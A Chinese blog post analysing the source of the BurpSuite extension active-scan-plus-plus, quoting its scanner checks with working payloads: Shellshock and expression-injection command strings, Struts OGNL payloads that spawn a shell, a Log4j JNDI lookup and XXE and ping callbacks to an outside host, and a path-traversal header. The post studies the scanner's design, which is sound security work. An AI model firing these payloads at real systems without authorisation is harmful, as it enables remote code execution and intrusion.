• 【BurpSuite】插件学习之active-scan-plus-plus


    【BurpSuite】插件开发学习之active-scan-plus-plus

    前言

    插件开发学习第4套。前置文章:

    【BurpSuite】插件学习之Log4shell
    【BurpSuite】插件学习之Software Vulnerability Scanner
    【BurpSuite】插件学习之dotnet-Beautifier

    active-scan-plus-plus

    https://github.com/PortSwigger/active-scan-plus-plus.git
    逻辑代码在

    | |____active-scan-plus-plus.iml
    
    • 1

    这个代码是基于Python写的,业内评价很高。

    BurpExtender

    老样子,继承BurpExtender

    class BurpExtender(IBurpExtender):
    
    
    • 1
    • 2

    基本信息也和java差不多

        def registerExtenderCallbacks(self, this_callbacks):
            global callbacks, helpers
            callbacks = this_callbacks
            helpers = callbacks.getHelpers()
            callbacks.setExtensionName("activeScan++")
    
    • 1
    • 2
    • 3
    • 4
    • 5

    具体加载的哪些check

    callbacks.registerScannerCheck(PerHostScans())
    callbacks.registerScannerCheck(PerRequestScans())
    callbacks.registerScannerInsertionPointProvider(BasicAuthInsertionPointProvider(callbacks))
    
    if not FAST_MODE:
        callbacks.registerScannerCheck(CodeExec())
        callbacks.registerScannerCheck(SuspectTransform())
        callbacks.registerScannerCheck(JetLeak())
        callbacks.registerScannerCheck(SimpleFuzz())
        callbacks.registerScannerCheck(EdgeSideInclude())
        if collab_enabled:
            callbacks.registerScannerCheck(Log4j())
            callbacks.registerScannerCheck(Solr())
            callbacks.registerScannerCheck(doStruts_2017_12611_scan())
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14

    下面可以一个一个看

    PerHostScans()

    重写了doActiveScan

    self.scanned_hosts.add(host)
    issues = []
    issues.extend(self.interestingFileScan(basePair))
    
    
    • 1
    • 2
    • 3
    • 4

    从给定的list里面请求指定的path看有没有期望的返回值

        interestingFileMappings = [
            # [host-relative-url, vulnerable_response_content, reason]
            ['/.git/config', '[core]', 'source code leak?'],
            ['/server-status', 'Server uptime', 'debug info'],
            ['/.well-known/apple-app-site-association', 'applinks', 'https://developer.apple.com/library/archive/documentation/General/Conceptual/AppSearch/UniversalLinks.html'],
            ['/.well-known/openid-configuration', '"authorization_endpoint"', 'https://portswigger.net/research/hidden-oauth-attack-vectors'],
            ['/.well-known/oauth-authorization-server', '"authorization_endpoint"', 'https://portswigger.net/research/hidden-oauth-attack-vectors'],
        ]
    
        def interestingFileScan(self, basePair):
            issues = []
            for (url, expect, reason) in self.interestingFileMappings:
                attack = self.fetchURL(basePair, url)
                if expect in safe_bytes_to_string(attack.getResponse()):
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14

    这里的数量其实很少,这里可以是一个非常好的优化点。

    PerRequestScans

    同样是重写了doActiveScan
    并且从init可以看出一共有如下几种

        def __init__(self):
            self.scan_checks = [
                self.doHostHeaderScan,
                self.doCodePathScan,
                self.doStrutsScan,
                self.doStruts_2017_9805_Scan,
                self.doStruts_2018_11776_Scan,
                self.doXXEPostScan,
                self.doRailsScan,
            ]
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10

    Ruby On Rails任意文件读取漏洞(CVE-2019-5418)

    https://www.jianshu.com/p/1533212237b6

        def doRailsScan(self, basePair):
            if '127.0.0.1' in safe_bytes_to_string(basePair.getResponse()):
                return
    
            (ignore, req) = setHeader(basePair.getRequest(), 'Accept', '../../../../../../../../../../../../../e*c/h*s*s{{', True)
            attack = callbacks.makeHttpRequest(basePair.getHttpService(), req)
            response = safe_bytes_to_string(attack.getResponse())
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    S2-046,CVE-2017-5638

    https://zhuanlan.zhihu.com/p/26219061

        def doStrutsScan(self, basePair):
            x = random.randint(999, 9999)
            y = random.randint(999, 9999)
            (ignore, req) = setHeader(basePair.getRequest(), 'Content-Type', "${#context[\"com.opensymphony.xwork2.dispatcher.HttpServletResponse\"].addHeader(\"X-Ack\","+str(x)+"*"+str(y)+")}.multipart/form-data", True)
            attack = callbacks.makeHttpRequest(basePair.getHttpService(), req)
    
            if str(x*y) in '\n'.join(helpers.analyzeResponse(attack.getResponse()).getHeaders()):
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    S2-052,CVE-2017-9805

    https://blog.csdn.net/qq_45813980/article/details/118719988

        def doStruts_2017_9805_Scan(self, basePair):
            ...
            command = "ping" + collab_payload + "-c1" # platform-agnosti
            ....
           	for chars in whole_param: # Append the payload to the request
                req.append(ord(chars))
            attack = callbacks.makeHttpRequest(basePair.getHttpService(), req) # Issue the actual request
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    S2-057-CVE-2018-11776

    https://blog.csdn.net/Z_l123/article/details/123208935

        def doStruts_2018_11776_Scan(self, basePair):
    
            ...
            attack_string = "/$%7B("+str(x)+"*"+str(y)+")%7D"
            attack_path = path[:last_slash]+attack_string+path[last_slash:]
    
            newReq = safe_bytes_to_string(basePair.getRequest()).replace(path,attack_path, 1)
            ....
    # Issue the actual request
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9

    XXE

    通过请求dtd来判断

        def doXXEPostScan(self, basePair):
            ...
                    xxepayload = ' + collab_payload + '/scanner.dtd">&all;'
    
            ....
    # Issue the actual request
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    XXE(可能处理XML)

        def doCodePathScan(self, basePair):
            base_resp_string = safe_bytes_to_string(basePair.getResponse())
            base_resp_print = tagmap(base_resp_string)
            xml_resp, xml_req = self._codepath_attack(basePair, 'application/xml')
            if xml_resp != -1:
                if xml_resp != base_resp_print:
                    zml_resp, zml_req = self._codepath_attack(basePair, 'application/zml')
                    assert zml_resp != -1
                    if zml_resp != xml_resp:
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9

    这里就是通过变换Content-Type看看返回值是否有变化

    关于下面的正则:
    (?i)表示匹配时不区分大小写。
    (?m)表示Multiline(多行模式),匹配时会改变^和$的含义,使其分别在任意一行的行首和行尾匹配,而不仅仅在整个字符串的开头和结尾匹配。

    def tagmap(resp):
        tags = ''.join(re.findall("(?im)(<[a-z]+)", resp))
        return tags
    
    • 1
    • 2
    • 3

    HOST头攻击

    https://portswigger.net/web-security/host-header
    做一些主要是对HOST、REFERER做一些替换

        def doHostHeaderScan(self, basePair):
                if ('?' in request[0:request.index('\n')]):
                request = re.sub('(?i)([a-z]+ [^ ]+)', r'\1&cachebust=${cachebust}', request, 1)
            else:
                request = re.sub('(?i)([a-z]+ [^ ]+)', r'\1?cachebust=${cachebust}', request, 1)
    
            request = re.sub('(?im)^Host: [a-zA-Z0-9-_.:]*', 'Host: ${host}${xfh}', request, 1)
            if ('REFERER' in rawHeaders):
                request = re.sub('(?im)^Referer: http[s]?://[a-zA-Z0-9-_.:]*', 'Referer: ${referer}', request, 1)
    
            if ('CACHE-CONTROL' in rawHeaders):
                request = re.sub('(?im)^Cache-Control: [^\r\n]+', 'Cache-Control: no-cache', request, 1)
            else:
                request = request.replace('Host: ${host}${xfh}', 'Host: ${host}${xfh}\r\nCache-Control: no-cache', 1)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14

    这里就是通过变换Content-Type看看返回值是否有变化

    SimpleFuzz

    简单的fuzz,通过一些特殊字符,但是没太懂这个原理是啥。请求一个错误的Auto头有啥用。

    class SimpleFuzz(IScannerCheck):
        def doActiveScan(self, basePair, insertionPoint):
            attack = request(basePair, insertionPoint, 'a\'a\\\'b"c>?>%}}%%>c<[[?${{%}}cake\\')
            if tagmap(safe_bytes_to_string(attack.getResponse())) != tagmap(safe_bytes_to_string(basePair.getResponse())):
                launchPassiveScan(attack)
       
       # 应该是替换Authorization
       class BasicAuthInsertionPoint(IScannerInsertionPoint):
        def __init__(self, baseRequest, position):
            self.baseRequest = ''.join(map(chr, baseRequest))
            self.position = position
            match = re.search("^Authorization: Basic (.*)$", self.baseRequest, re.MULTILINE)
            self.baseBlob = match.group(1)
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14

    CodeExec

    代码执行

    重写了主动扫描doActiveScan

        def doActiveScan(self, basePair, insertionPoint):
    
            # Decide which payloads to use based on the file extension, using a set to prevent duplicate payloads          
            payloads = set()
            languages = self._getLangs(basePair)
    
    • 1
    • 2
    • 3
    • 4
    • 5

    根据语言选择对应的payload

    self._payloads = {
                # Exploits shell command injection into '$input' on linux and "$input" on windows:
                # and CVE-2014-6271, CVE-2014-6278
                'any': ['() { :;}; /bin/sleep $time',
                        '() { _; } >_[$$($$())] { /bin/sleep $time; }', '$$(sleep $time)', '`sleep $time`'],
                'php': [],
                'perl': ['/bin/sleep $time|'],
                'ruby': ['|sleep $time & ping -n $time localhost'],
                # Expression language injection
                'java': [
                    '$${(new java.io.BufferedReader(new java.io.InputStreamReader(((new java.lang.ProcessBuilder(new java.lang.String[]{"timeout","$time"})).start()).getInputStream()))).readLine()}$${(new java.io.BufferedReader(new java.io.InputStreamReader(((new java.lang.ProcessBuilder(new java.lang.String[]{"sleep","$time"})).start()).getInputStream()))).readLine()}'],
            }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12

    这里所有的payload执行的都是延时时间

    SuspectTransform

    重写了主动扫描doActiveScan
    生成了几种计算的生成式

        def doActiveScan(self, basePair, insertionPoint):
    
            self.checks = {
                'quote consumption': self.detect_quote_consumption,
                'arithmetic evaluation': self.detect_arithmetic,
                'expression evaluation': self.detect_expression,
                'template evaluation': self.detect_razor_expression,
                'EL evaluation': self.detect_alt_expression,
            }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9

    例如

    • a+a
    • ${a+a}
    • @(a+a)
    • %{a+a}
      如果rspond里面出现了被计算的值,则表达式被计算
    attack = request(basePair, insertionPoint, probe)
    attack_response = safe_bytes_to_string(attack.getResponse())
    matched = False
    for e in expect:
    
    • 1
    • 2
    • 3
    • 4

    CVE-2015-2080(Jetty Web缓冲区信息泄露)

    重写了主动扫描doActiveScan
    https://blog.csdn.net/jiangbb8686/article/details/103311906

            def doActiveScan(self, basePair, insertionPoint):
            resp_start = safe_bytes_to_string(attack.getResponse())[:90]
            if '400 Illegal character 0x0 in state' in resp_start and '<<<' in resp_start:
            if 'Referer' != insertionPoint.getInsertionPointName():
                return []
            attack = request(basePair, insertionPoint, "\x00")
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    EdgeSideInclude

    ESI XSS -> SSRF

    https://gosecure.net/2018/04/03/beyond-xss-edge-side-include-injection/
    重写了主动扫描doActiveScan
    比较久远

        def doActiveScan(self, basePair, insertionPoint):
            canary1 = randstr(4)
            canary2 = randstr(4)
            canary3 = randstr(4)
            probe = canary1+""+canary2+""+canary3
            attack = request(basePair, insertionPoint, probe)
            resp = safe_bytes_to_string(attack.getResponse())
    
            expect = canary1+canary2+""+canary3
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9

    Log4j(CVE-2021-44228)

    这个应该是最新更新的,但写的比较粗糙,很多绕过的姿势没有。可以看【BurpSuite】插件学习之Log4shell这个

        def doActiveScan(self, basePair, insertionPoint):
            collab = callbacks.createBurpCollaboratorClientContext()
            attack = request(basePair, insertionPoint, "${jndi:ldap://"+collab.generatePayload(True)+"/a}")
    
    • 1
    • 2
    • 3

    Solr(CVE-2017-12629)

    https://blog.csdn.net/sycamorelg/article/details/121492084
    XXE的思路,打dtd

        def doActiveScan(self, basePair, insertionPoint):
            collab = callbacks.createBurpCollaboratorClientContext()
            obfuscated_payload = "{!xmlparser v='+collab.generatePayload(True)+"/xxe\">'}"
            attack = request(basePair, insertionPoint, obfuscated_payload)
    
    • 1
    • 2
    • 3
    • 4

    S2-053(CVE-2017-12611)

    https://www.cnblogs.com/peace-and-romance/p/15652528.html

        def doActiveScan(self, basePair, insertionPoint):
            collab = callbacks.createBurpCollaboratorClientContext()
    
            # set the blah blah blah needed before and after the command to be executed
            param_pre = "%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"
            param_post = "').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}"
            collab_payload = collab.generatePayload(True) # create a Collaborator payload
            command = "ping " + collab_payload + " -c1" # p
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    后话

    在这里插入图片描述
    Active Scan++是BApp Store最受欢迎的插件,从上面的分析来看,插件覆盖面稍有欠缺,还有很多可以优化的点。

  • 相关阅读:
    【回溯算法】leetcode 46. 全排列
    集成底座方案演示说明
    一文解锁vue3中hooks的使用姿势
    【SpringMVC笔记14】SpringMVC集成Jackson和FastJson两种方式处理json数据
    axios请求多个服务器
    查字符串或者查对象值去重
    NewStar CTF Week3Misc 4-5Web
    项目部署-jenkins
    状态机的技术选型看这篇就够了,最后一个直叫好!!!
    计算机毕业设计springboot+vue基本安卓/微信小程序的家装公司管理系统小程序uniapp
  • 原文地址:https://blog.csdn.net/xiru9972/article/details/126473667